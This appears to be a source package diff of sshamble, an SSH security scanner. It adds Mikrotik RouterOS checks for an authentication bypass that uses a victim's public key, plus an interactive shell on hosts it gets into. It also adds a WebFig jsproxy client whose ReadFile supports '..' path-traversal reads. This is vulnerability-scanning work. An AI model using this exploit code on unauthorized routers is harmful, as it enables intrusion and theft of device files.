"math/big" "net" "os" "regexp" @@ -45,6 +46,7 @@ gEnabledChecks string gPrivateKeyFile string gPrivateKeyPassphrase string + gMikrotikPubKeyFile string gPassword string gPasswordFile string gInteract string @@ -127,6 +129,7 @@ scanCmd.Flags().StringVar(&gEnabledCategories, "categories", strings.Join(categories, ","), "The list of categories to include.") scanCmd.Flags().StringVar(&gPrivateKeyFile, "private-key", "", "The optional file containing a private key for authentication") scanCmd.Flags().StringVar(&gPrivateKeyPassphrase, "private-key-passphrase", "", "The optional passphrase for a private key file") + scanCmd.Flags().StringVar(&gMikrotikPubKeyFile, "mikrotik-pubkey", "", "The victim's authorized RSA public key file for the CVE-2026-67276 Mikrotik bypass check") scanCmd.Flags().StringVar(&gPassword, "password", "", "An optional password to try for authentication") scanCmd.Flags().StringVar(&gPasswordFile, "password-file", "", "An optional file with clear-text passwords to try for authentication") scanCmd.Flags().StringVarP(&gInteract, "interact", "I", "none", "Open an interactive shell for the 'first', 'all', or 'none' sessions") @@ -146,16 +149,17 @@ var TestKeyRSASizes = []int{1024, 2048, 4096} type ScanConfig struct { - EnabledChecks map[string]struct{} - Logger *logrus.Logger - OutputWriter io.Writer - TestKeyRSA1024 ssh.Signer - TestKeyRSA2048 ssh.Signer - TestKeyRSA4096 ssh.Signer - TestKeyED25519 ssh.Signer - BadKeyCache *badkeys.Cache - outMutex sync.Mutex - statResult atomic.Uint64 + EnabledChecks map[string]struct{} + Logger *logrus.Logger + OutputWriter io.Writer + MikrotikRSAModulus *big.Int + TestKeyRSA1024 ssh.Signer + TestKeyRSA2048 ssh.Signer + TestKeyRSA4096 ssh.Signer + TestKeyED25519 ssh.Signer + BadKeyCache *badkeys.Cache + outMutex sync.Mutex + statResult atomic.Uint64 } func (conf *ScanConfig) IsCheckEnabled(check string) bool { @@ -264,6 +268,9 @@ } } + // Configure the victim RSA modulus for the Mikrotik bypass check + conf.MikrotikRSAModulus = loadMikrotikModulus(conf) + // Generate test keys generateTestKeys(conf) @@ -470,6 +477,20 @@ func (conf *ScanConfig) ScanHost(options *auth.Options, cached *auth.AuthResult) *auth.AuthResult { addr := net.JoinHostPort(options.Host, strconv.FormatUint(uint64(options.Port), 10)) + + // Run HTTP-based vulnerability checks once per host (not per SSH user) + // CVE-2026-67281 webfig traversal — not yet working, commented out + // if cached == nil { + // webfigRoot := auth.NewAuthResult() + // webfigRoot.Host = options.Host + // webfigRoot.Port = options.Port + // webfigRoot.User = options.Username + // _ = sshCheckVulnMikrotikWebfigTraversal(addr, conf, options, webfigRoot) + // if len(webfigRoot.Vulns) > 0 { + // conf.WriteOutput(webfigRoot) + // } + // } + root := conf.GetSession(addr, options, cached) if root.Unreachable { conf.Logger.Debugf("%s is unreachable: %v", addr, root.Error) @@ -691,11 +712,17 @@ // Process pre-session vulnerability checks vulnChecks := []sshCheckFunc{ + sshCheckVulnMikrotikPubkey, + sshCheckVulnMikrotikPreauthRekey, sshCheckVulnExecSkipUserAuth, sshCheckVulnExecSkipAuth, } for _, check := range vulnChecks { - _ = check(addr, conf, options, root) + res = check(addr, conf, options, root) + shouldInteract() + if shouldReturn() { + return + } } return } diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.10/cmd/interact.go new/sshamble-0.3.12/cmd/interact.go --- old/sshamble-0.3.10/cmd/interact.go 2026-07-28 04:41:47.000000000 +0200 +++ new/sshamble-0.3.12/cmd/interact.go 2026-09-07 21:41:04.000000000 +0200 @@ -40,7 +40,12 @@ var res *auth.AuthResult if root.SessionAuth != nil { // Use the ssh.AuthMethod cached on the root session - res = auth.SSHAuth(addr, options.WithSessionHandler(conf.InteractHandler(addr, options, root)), auth.SSHAuthHandlerSingle(root.SessionAuth)) + var handler auth.SessionHandler = conf.InteractHandler(addr, options, root) + if root.SessionMethod == checkVulnMikrotikPubkey { + // RouterOS's shell channel is a full-screen TUI; drive it via exec. + handler = conf.MikrotikInteractHandler(addr, options, root) + } + res = auth.SSHAuth(addr, options.WithSessionHandler(handler), auth.SSHAuthHandlerSingle(root.SessionAuth)) } else { switch root.SessionMethod { case checkSkipSSHUserAuth: diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.10/go.mod new/sshamble-0.3.12/go.mod --- old/sshamble-0.3.10/go.mod 2026-07-28 04:41:47.000000000 +0200 +++ new/sshamble-0.3.12/go.mod 2026-09-07 21:41:04.000000000 +0200 @@ -1,6 +1,6 @@ module github.com/runZeroInc/sshamble -go 1.26.0 +go 1.27.1 // NOTE: Uncomment to test with a development version of excrypto // replace github.com/runZeroInc/excrypto => ../excrypto @@ -9,13 +9,13 @@ github.com/google/go-cmp v0.7.0 github.com/logrusorgru/aurora/v3 v3.0.0 github.com/mmcloughlin/professor v0.0.0-20170922221822-6b97112ab8b3 - github.com/runZeroInc/excrypto v0.42.2 - github.com/sirupsen/logrus v1.9.4 + github.com/runZeroInc/excrypto v0.43.2 + github.com/sirupsen/logrus v1.10.2 github.com/spf13/cobra v1.10.2 github.com/spf13/viper v1.21.0 github.com/ulikunitz/xz v0.5.16 go.yaml.in/yaml/v3 v3.0.5 - golang.org/x/crypto v0.54.0 + golang.org/x/crypto v0.56.0 golang.org/x/term v0.45.0 gonum.org/v1/gonum v0.17.0 ) @@ -31,8 +31,10 @@ github.com/spf13/pflag v1.0.10 // indirect github.com/subosito/gotenv v1.6.0 // indirect github.com/weppos/publicsuffix-go v0.50.3 // indirect - golang.org/x/net v0.57.0 // indirect + golang.org/x/net v0.58.0 // indirect golang.org/x/sys v0.47.0 // indirect - golang.org/x/text v0.40.0 // indirect + golang.org/x/text v0.41.0 // indirect gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 // indirect ) + +replace github.com/runZeroInc/excrypto => github.com/msuiche/excrypto v0.43.2-0.20260907192101-05292dc2f370 diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.10/go.sum new/sshamble-0.3.12/go.sum --- old/sshamble-0.3.10/go.sum 2026-07-28 04:41:47.000000000 +0200 +++ new/sshamble-0.3.12/go.sum 2026-09-07 21:41:04.000000000 +0200 @@ -1,10 +1,6 @@ github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= -github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8= github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0= -github.com/fsnotify/fsnotify v1.10.0 h1:Xx/5Ydg9CeBDX/wi4VJqStNtohYjitZhhlHt4h3St1M= -github.com/fsnotify/fsnotify v1.10.0/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo= github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho= github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo= github.com/go-viper/mapstructure/v2 v2.5.0 h1:vM5IJoUAy3d7zRSVtIwQgBj7BiWtMPfmPEgAXnvj1Ro= @@ -21,25 +17,17 @@ github.com/logrusorgru/aurora/v3 v3.0.0/go.mod h1:vsR12bk5grlLvLXAYrBsb5Oc/N+LxAlxggSjiwMnCUc= github.com/mmcloughlin/professor v0.0.0-20170922221822-6b97112ab8b3 h1:2YMbJ6WbdQI9K73chxh9OWMDsZ2PNjAIRGTonp3T0l0= github.com/mmcloughlin/professor v0.0.0-20170922221822-6b97112ab8b3/go.mod h1:LQkXsHRSPIEklPCq8OMQAzYNS2NGtYStdNE/ej1oJU8= -github.com/pelletier/go-toml/v2 v2.3.1 h1:MYEvvGnQjeNkRF1qUuGolNtNExTDwct51yp7olPtrEc= -github.com/pelletier/go-toml/v2 v2.3.1/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY= +github.com/msuiche/excrypto v0.43.2-0.20260907192101-05292dc2f370 h1:U728YNUJrCpd83oxpTZw+xXK9+toDGrrRI/YQTq9U2w= +github.com/msuiche/excrypto v0.43.2-0.20260907192101-05292dc2f370/go.mod h1:CQo6LfXwh+dpf0OA7wO4MLUCDJAqIKVq/SSAQsg6TP0= github.com/pelletier/go-toml/v2 v2.4.3 h1:GTRvJQutkOSftxIFD5xw9aepkYNuPWmVJpffdDPYVpY= github.com/pelletier/go-toml/v2 v2.4.3/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= -github.com/runZeroInc/excrypto v0.39.0 h1:QBUmJoVBdzfUTxLUN7wlro7d1ko4KBnwfPpVPDtDXSA= -github.com/runZeroInc/excrypto v0.39.0/go.mod h1:rj/ZnkrH3P9juT/ROY80Zsrmkv7ZFZwlXLU6cf7ZuGo= -github.com/runZeroInc/excrypto v0.42.1 h1:n9eADIuoxyL3/dlTP9dyIK0EE8um/6tWJJAea+x7aq4= -github.com/runZeroInc/excrypto v0.42.1/go.mod h1:2+D8ndV+Ux7bkqknBACE8nbu1f2cb4G+B6OdcKbBL5c= -github.com/runZeroInc/excrypto v0.42.2 h1:VJgxfApAsXaYUXgNGDyH+FM0BkbjqtDodXud+MalBSo= -github.com/runZeroInc/excrypto v0.42.2/go.mod h1:2+D8ndV+Ux7bkqknBACE8nbu1f2cb4G+B6OdcKbBL5c= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/sagikazarmark/locafero v0.12.0 h1:/NQhBAkUb4+fH1jivKHWusDYFjMOOKU88eegjfxfHb4= github.com/sagikazarmark/locafero v0.12.0/go.mod h1:sZh36u/YSZ918v0Io+U9ogLYQJ9tLLBmM4eneO6WwsI= -github.com/sirupsen/logrus v1.9.4 h1:TsZE7l11zFCLZnZ+teH4Umoq5BhEIfIzfRDZ1Uzql2w= -github.com/sirupsen/logrus v1.9.4/go.mod h1:ftWc9WdOfJ0a92nsE2jF5u5ZwH8Bv2zdeOC42RjbV2g= +github.com/sirupsen/logrus v1.10.2 h1:G2SED73/qrAu6YwbdxOD6peLkCBI3z7L+ykJFTXJBBo= +github.com/sirupsen/logrus v1.10.2/go.mod h1:SLEg8TqYulVKKfIGHldVp2K2aYz2DKSVBq4g/H5bR7Q= github.com/spf13/afero v1.15.0 h1:b/YBCLWAJdFWJTN9cLhiXXcD7mzKn9Dm86dNnfyQw1I= github.com/spf13/afero v1.15.0/go.mod h1:NC2ByUVxtQs4b3sIUphxK0NioZnmxgyCrfzeuq8lxMg= github.com/spf13/cast v1.10.0 h1:h2x0u2shc1QuLHfxi+cTJvs30+ZAHOGRic8uyGTDWxY= @@ -51,44 +39,29 @@ github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/spf13/viper v1.21.0 h1:x5S+0EU27Lbphp4UKm1C+1oQO+rKx36vfCoaVebLFSU= github.com/spf13/viper v1.21.0/go.mod h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjbTCAY= -github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= -github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE= +github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg= github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8= github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU= -github.com/ulikunitz/xz v0.5.15 h1:9DNdB5s+SgV3bQ2ApL10xRc35ck0DuIX/isZvIk+ubY= -github.com/ulikunitz/xz v0.5.15/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14= github.com/ulikunitz/xz v0.5.16 h1:ld6NyySjx5lowVKwJvMRLnW5nxKX/xnpSiFYZ/Lxur0= github.com/ulikunitz/xz v0.5.16/go.mod h1:H9Rt/W6/Qj27PGauhQc6nfCDy7vHpzsOThBSaYDoEhw= github.com/weppos/publicsuffix-go v0.50.3 h1:eT5dcjHQcVDNc0igpFEsGHKIip30feuB2zuuI9eJxiE= github.com/weppos/publicsuffix-go v0.50.3/go.mod h1:/rOa781xBykZhHK/I3QeHo92qdDKVmKZKF7s8qAEM/4= -go.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc= go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg= go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw= go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg= -golang.org/x/crypto v0.51.0 h1:IBPXwPfKxY7cWQZ38ZCIRPI50YLeevDLlLnyC5wRGTI= -golang.org/x/crypto v0.51.0/go.mod h1:8AdwkbraGNABw2kOX6YFPs3WM22XqI4EXEd8g+x7Oc8= -golang.org/x/crypto v0.54.0 h1:YLIA59K4fiNzHzjnZt2tUJQjQtUWfWbeHBqKtk3eScw= -golang.org/x/crypto v0.54.0/go.mod h1:KWL8ny2AZdGR2cWmzeHrp2azQPGogOv+HeQaVEXC2dk= -golang.org/x/net v0.54.0 h1:2zJIZAxAHV/OHCDTCOHAYehQzLfSXuf/5SoL/Dv6w/w= -golang.org/x/net v0.54.0/go.mod h1:Sj4oj8jK6XmHpBZU/zWHw3BV3abl4Kvi+Ut7cQcY+cQ= -golang.org/x/net v0.57.0 h1:K5+3DljvIuDG9/Jv9rvyMywYNFCQ9RSUY6OOTTkT+tE= -golang.org/x/net v0.57.0/go.mod h1:KpXc8iv+r3XplLAG/f7Jsf9RPszJzdR0f58q9vGOuEU= -golang.org/x/sys v0.44.0 h1:ildZl3J4uzeKP07r2F++Op7E9B29JRUy+a27EibtBTQ= -golang.org/x/sys v0.44.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +golang.org/x/crypto v0.56.0 h1:GUh5Ii4J5jtcseSMiRqr1jXCNHoxjeV9Fmekc2oLy6Y= +golang.org/x/crypto v0.56.0/go.mod h1:OMW5y6CY9l38uPLmxU6l6pwcXp1obtLo3e6gT7gQR2I= +golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To= +golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU= golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs= golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= -golang.org/x/term v0.43.0 h1:S4RLU2sB31O/NCl+zFN9Aru9A/Cq2aqKpTZJ6B+DwT4= -golang.org/x/term v0.43.0/go.mod h1:lrhlHNdQJHO+1qVYiHfFKVuVioJIheAc3fBSMFYEIsk= golang.org/x/term v0.45.0 h1:NwWyBmoJCbfTHpxrWoZ9C6/VxOf7ic219I8xZZFdrf0= golang.org/x/term v0.45.0/go.mod h1:9aqxs0blBcrm/n0L9QW0aRVD+ktan8ssZromtqJC43w= -golang.org/x/text v0.37.0 h1:Cqjiwd9eSg8e0QAkyCaQTNHFIIzWtidPahFWR83rTrc= -golang.org/x/text v0.37.0/go.mod h1:a5sjxXGs9hsn/AJVwuElvCAo9v8QYLzvavO5z2PiM38= -golang.org/x/text v0.40.0 h1:Ub2Z6/xjgF1WrYQz2nuITOEegKFtiIy+rieRJ5lHZKs= -golang.org/x/text v0.40.0/go.mod h1:hpnzDAfGV753zIKo+wk3u1bVKCGPbrnF7+7LBF/UHVY= +golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8= +golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M= gonum.org/v1/gonum v0.17.0 h1:VbpOemQlsSMrYmn7T2OUvQ4dqxQXU+ouZFQsZOx50z4= gonum.org/v1/gonum v0.17.0/go.mod h1:El3tOrEuMpv2UdMrbNlKEh9vd86bmQ6vqIcDwxEOc1E= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= -gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.10/webfig/webfig.go new/sshamble-0.3.12/webfig/webfig.go --- old/sshamble-0.3.10/webfig/webfig.go 1970-01-01 01:00:00.000000000 +0100 +++ new/sshamble-0.3.12/webfig/webfig.go 2026-09-07 21:41:04.000000000 +0200 @@ -0,0 +1,256 @@ +// Package webfig implements the RouterOS WebFig jsproxy protocol, +// including the CVE-2026-67281 path-traversal file read. +package webfig + +import ( + "bufio" + "bytes" + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "crypto/sha256" + "fmt" + "io" + "net" + "net/http" + "strings" + "time" + + "golang.org/x/crypto/curve25519" +) + +// defaultTimeout is the per-request deadline for jsproxy operations. +const defaultTimeout = 10 * time.Second + +// Session holds the state for an unauthenticated jsproxy session. +type Session struct { + host string + sessionID []byte + sendKey []byte + recvKey []byte + txSeq uint32 +} + +// Dial performs the X25519 handshake with the jsproxy endpoint and returns +// an unauthenticated session ready for encrypted requests. +func Dial(host string) (*Session, error) { + // Generate X25519 keypair + privKey := make([]byte, 32) + if _, err := io.ReadFull(rand.Reader, privKey); err != nil { + return nil, fmt.Errorf("webfig: key generation: %w", err) + } + + // Compute public key: reverse(X25519(reverse(priv), basepoint)) + privRev := reverse(privKey) + pubRaw, err := curve25519.X25519(privRev, curve25519.Basepoint) + if err != nil { + return nil, fmt.Errorf("webfig: X25519 pubkey: %w", err) + } + pubWire := reverse(pubRaw) + + // Build init request: 8 zero bytes + 32-byte public key + initReq := make([]byte, 40) + copy(initReq[8:], pubWire) + + httpClient := &http.Client{Timeout: defaultTimeout} + resp, err := httpClient.Post( + "http://"+host+"/jsproxy", + "msg", + bytes.NewReader(initReq), + ) + if err != nil { + return nil, fmt.Errorf("webfig: init request: %w", err) + } + defer resp.Body.Close() + + initResp, err := io.ReadAll(resp.Body) + if err != nil { + return nil, fmt.Errorf("webfig: reading init response: %w", err) + } + if resp.StatusCode != 200 { + return nil, fmt.Errorf("webfig: init response %d: %s", resp.StatusCode, truncate(initResp, 200)) + } + if len(initResp) < 40 { + return nil, fmt.Errorf("webfig: init response too short: %d bytes", len(initResp)) + } + + sessionID := make([]byte, 4) + copy(sessionID, initResp[:4]) + // Bytes 4-7 are padding/sequence, skip them + serverPub := make([]byte, 32) + copy(serverPub, initResp[8:40]) + + // Compute shared secret + serverPubRev := reverse(serverPub) + sharedRaw, err := curve25519.X25519(privRev, serverPubRev) + if err != nil { + return nil, fmt.Errorf("webfig: X25519 shared: %w", err) + } + masterKey := reverse(sharedRaw) + + sendKey := makeKey(masterKey, "On the client side, this is the send key; on the server side, it is the receive key.") + recvKey := makeKey(masterKey, "On the client side, this is the receive key; on the server side, it is the send key.") + + return &Session{ + host: host, + sessionID: sessionID, + sendKey: sendKey, + recvKey: recvKey, + txSeq: 1, + }, nil +} + +// ReadFile reads a file from the WebFig file namespace using an encrypted GET +// request. The path is relative to the WebFig root; use ".." components to +// traverse out of the WebFig directory (CVE-2026-67281). +func (s *Session) ReadFile(path string) ([]byte, error) { + status, body, err := s.ReadFileStatus(path) + if err != nil { + return nil, err + } + if status != 200 { + return nil, fmt.Errorf("webfig: GET %q returned %d: %s", path, status, truncate(body, 500)) + } + return body, nil +} + +// ReadFileStatus reads a file and returns the HTTP status code and body. +// Unlike ReadFile, it does not treat non-200 responses as errors, allowing +// callers to distinguish 403 (forbidden) from 404 (not found) from 200 (success). +func (s *Session) ReadFileStatus(path string) (int, []byte, error) { + encPath := s.encryptURI(path) + encQuery := encodeURIComponent(encPath) + + conn, err := net.DialTimeout("tcp", s.host+":80", defaultTimeout) + if err != nil { + return 0, nil, fmt.Errorf("webfig: dial: %w", err) + } + defer conn.Close() + + _ = conn.SetDeadline(time.Now().Add(defaultTimeout)) + + req := fmt.Sprintf("GET /jsproxy/?%s HTTP/1.1\r\nHost: %s\r\nReferer: http://%s/webfig/\r\nConnection: close\r\n\r\n", encQuery, s.host, s.host) + if _, err := conn.Write([]byte(req)); err != nil { + return 0, nil, fmt.Errorf("webfig: write: %w", err) + } + + resp, err := http.ReadResponse(bufio.NewReader(conn), nil) + if err != nil { + return 0, nil, fmt.Errorf("webfig: read response: %w", err) + } + defer resp.Body.Close() + + body, err := io.ReadAll(resp.Body) + if err != nil { + return 0, nil, fmt.Errorf("webfig: reading %q: %w", path, err) + } + return resp.StatusCode, body, nil +} + +// encryptURI encrypts a URI path the same way webfig Session.encryptURI() does. +// Returns the raw binary frame: sessionID(4) || seq(4) || IV(16) || ciphertext. +func (s *Session) encryptURI(uri string) []byte { + plaintext := []byte(uri) + + block, err := aes.NewCipher(s.sendKey) + if err != nil { + panic(err) + } + + iv := make([]byte, 16) + if _, err := io.ReadFull(rand.Reader, iv); err != nil { + panic(err) + } + + stream := cipher.NewCTR(block, iv) + ciphertext := make([]byte, len(plaintext)) + stream.XORKeyStream(ciphertext, plaintext) + + seq := s.txSeq + s.txSeq += uint32(len(plaintext)) + + out := make([]byte, 8+16+len(ciphertext)) + out[0] = s.sessionID[0] + out[1] = s.sessionID[1] + out[2] = s.sessionID[2] + out[3] = s.sessionID[3] + out[4] = byte(seq >> 24) + out[5] = byte(seq >> 16) + out[6] = byte(seq >> 8) + out[7] = byte(seq) + copy(out[8:24], iv) + copy(out[24:], ciphertext) + + return out +} + +// encodeURIComponent mimics JavaScript's encodeURIComponent as used by webfig. +// The webfig encryptURI pipeline is: +// 1. UTF-8 encode the path +// 2. AES-128-CTR encrypt +// 3. Prepend sessionID(4) || seq(4) || IV(16) +// 4. Convert to JS string via byte2str (0x00 -> U+0100, else identity) +// 5. Apply decodeZeros (charCodeAt & 0xff, mapping U+0100 back to \x00) +// 6. Apply encodeURIComponent (which encodes \x00 as %00) +// 7. Apply encodeURLComponent (which additionally encodes !'()*) +// +// The net effect: each byte b of the binary frame is encoded as: +// - b == 0x00 -> %00 +// - b in [A-Za-z0-9\-_.~] -> literal +// - b in !'()* -> %XX +// - b < 0x80 -> %XX +// - b >= 0x80 -> %C2%XX (for 0x80-0xBF) or %C3%XX (for 0xC0-0xFF) +// because JS String.fromCharCode(b) creates U+00XX, which UTF-8 encodes +// as 0xC2 0xXX (for U+0080-U+00BF) or 0xC3 0xXX-0x40 (for U+00C0-U+00FF). +func encodeURIComponent(data []byte) string { + var buf bytes.Buffer + for _, b := range data { + switch { + case b == 0: + buf.WriteString("%00") + case b >= 'A' && b <= 'Z', + b >= 'a' && b <= 'z', + b >= '0' && b <= '9', + b == '-', b == '_', b == '.', b == '~': + buf.WriteByte(b) + case b == '!', b == '\'', b == '(', b == ')', b == '*': + fmt.Fprintf(&buf, "%%%02X", b) + case b < 0x80: + fmt.Fprintf(&buf, "%%%02X", b) + case b < 0xC0: + // U+0080-U+00BF -> UTF-8: 0xC2 0xXX + fmt.Fprintf(&buf, "%%C2%%%02X", b) + default: + // U+00C0-U+00FF -> UTF-8: 0xC3 0x(XX-0x40) + fmt.Fprintf(&buf, "%%C3%%%02X", b-0x40) + } + } + return buf.String() +} + +// reverse returns a copy of b with bytes reversed. +func reverse(b []byte) []byte { + r := make([]byte, len(b)) + for i := range b { + r[i] = b[len(b)-1-i] + } + return r +} + +// makeKey derives an AES-128 key from the master secret. +func makeKey(masterKey []byte, magic string) []byte { + h := sha256.New() + h.Write(masterKey) + h.Write(make([]byte, 40)) + h.Write([]byte(magic)) + h.Write(bytes.Repeat([]byte{0xf2}, 40)) + return h.Sum(nil)[:16] +} + +func truncate(b []byte, n int) string { + s := string(b) + if len(s) > n { + return s[:n] + } + return strings.TrimSpace(s) +} ++++++ vendor.tar.gz ++++++ ++++ 5709 lines of diff (skipped)
